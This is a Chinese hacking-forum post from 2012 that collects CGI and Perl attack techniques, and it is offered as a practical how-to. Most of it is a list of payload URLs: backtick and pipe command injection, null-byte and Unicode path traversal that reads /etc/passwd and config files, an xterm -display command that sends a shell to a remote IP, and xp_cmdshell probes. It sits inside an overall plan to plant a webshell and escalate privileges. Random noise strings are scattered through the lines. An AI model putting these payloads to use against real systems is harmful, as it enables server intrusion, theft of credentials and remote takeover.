找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2453|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
5 n  X& a% B* _" n" S: wcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  + U8 U3 ?2 e/ h$ q: [5 A
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  - I, W7 ~# Z+ G" [
注“  
/ x/ [+ I7 b6 n& k% o) p" kperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  8 i& K# }4 H7 J1 i! L) T- E
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  3 @2 Q( g+ S' O. P9 h( D5 J5 ~( ?) y
  W$ G, X% R# B
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  , ?- J! y" K( J
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  + x( a( `" y0 i  s. V( S" C! B
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
5 ~4 ^) i; V/ R2 ^. l" E- K7 ehttp://target.com/cgi-bin/home/news/sub.pl?`id`  
3 O, C- t5 l0 Q. Dhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
0 h6 H  K$ a  |" |5 F2 vhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
$ {2 R7 n: H8 E
$ `- `' Q9 b# p  C' D9 hhttp://target.com/test.pl;ls|  ) y3 }; m' o1 P5 t2 O2 F
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  / H" C, u" G% b( y* R( S- B
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  8 b& K  Q# a" h' W2 I
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
. l' `+ l0 C$ `+ G2 c; H比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  ( A0 u2 [) [) X8 D2 Y, N
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  0 V& }2 a1 P: ?9 j" C2 E
, _2 `! i* ]' f0 U! K9 w! u* O+ }
http://target.com/test.pl?&........ /../../etc/passwd  
. r0 `. F8 \) q. ]% a
( E3 b) R- D. U7 r$ ghttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./    M3 J5 l4 M( ?# I5 F
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  5 |' I* r: d$ m2 @. H0 Q5 x
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
  y5 X8 @; j  h, h! ?- q/ Z% t. X+ [' J# t1 a
http://www.target.org/show.php?f ... /include/config.php 查看php代码  8 a& D" u3 T8 E: h0 B. O
http://www.target.org/show.php?f ... ng/admin/global.php  7 }. Y9 v2 d6 ?, W
: C8 x2 C- _( E# l" ]
emm和ps的一句话
0 O! H5 g) _. [
( Q; Q8 _  \; e3 Y% E$ x* a0 Ehttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
& L  {- A2 C8 G( i' P. y
6 T: K" m9 H: Q! i6 Y, H8 u>bbb%20|  , o- \$ Q! ^5 y- v
" c1 Y- a" U( n" K- x/ Y% C) s
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
$ T- n% w" G, G( Q# s/ Y
6 R- h% O  ~( C: R+ @/ f  nhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  * h# `: o  b9 z2 u, F0 u! S/ ]7 H1 j1 b
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
% w) Z/ N+ H0 @1 t% {$ x& \0 c# R) l+ d" Z, M+ ?
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
1 @$ k9 s! K  U5 U$ J( G! Nhttp://target.com/index.html#cmd.exe  
% r: j5 {& k$ g2 ]+ i2 rhttp://target.com/index.html?dummyparam=xp_cmdshell  
: M! G" h4 _% {; l7 ~- X1 t1 tlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
5 N# g+ i0 w9 W0 ]) k; S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表